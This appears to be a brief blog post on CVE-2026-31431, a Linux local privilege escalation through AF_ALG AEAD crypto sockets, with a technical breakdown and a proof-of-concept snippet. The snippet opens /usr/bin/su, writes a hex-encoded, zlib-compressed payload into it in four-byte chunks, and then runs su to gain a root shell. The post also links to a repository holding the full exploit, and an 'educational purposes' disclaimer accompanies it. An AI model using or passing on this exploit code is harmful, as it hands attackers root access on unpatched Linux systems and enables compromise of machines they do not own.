📌 CVE-2026–31431 — Privilege Escalation via AEAD Crypto Socket Misuse

Linux Privilege Escalation | AF_ALG Crypto Abuse → Exploiting AEAD socket handling (CVE-2026–31431) to gain root via kernel-level…

Aditya Bhatt

~2 min read · May 4, 2026 (Updated: May 4, 2026) · Free: Yes

Linux Privilege Escalation | AF_ALG Crypto Abuse → Exploiting AEAD socket handling (CVE-2026–31431) to gain root via kernel-level manipulation

🧠 Overview

CVE-2026–31431 is a Linux privilege escalation vulnerability that abuses the AF_ALG (kernel crypto API) interface. By crafting a malicious interaction with AEAD (Authenticated Encryption with Associated Data) sockets, an attacker can escalate privileges and execute code as root.

This vulnerability leverages improper handling of cryptographic socket operations, allowing controlled memory manipulation and eventual privilege escalation.

⚠️ Impact

Local Privilege Escalation
Root shell access (/usr/bin/su)
Affects systems with vulnerable kernel crypto implementations

🔍 Technical Breakdown

The exploit:

Creates an AF_ALG socket
Binds to:

authenc(hmac(sha256),cbc(aes))

Uses crafted payloads via setsockopt and sendmsg
Triggers unintended kernel behavior
Drops into root shell via:

g.system("su")

Key indicators:

Use of socket(38,5,0) → AF_ALG
AEAD manipulation
Controlled memory writes via compressed payload (zlib)

💻 Proof of Concept (PoC)

Also, available on My GitHub now: https://github.com/AdityaBhatt3010/CVE-2026-31431/

🔑 Core Payload Snippet:

Disclaimer: I do not own this PoC. It's Only for Educational purposes for testing in environments where the permission is available. The Author/ owner will not be reponsible for any misuse.

f=g.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):
    c(f,i,e[i:i+4])
    i+=4
g.system("su")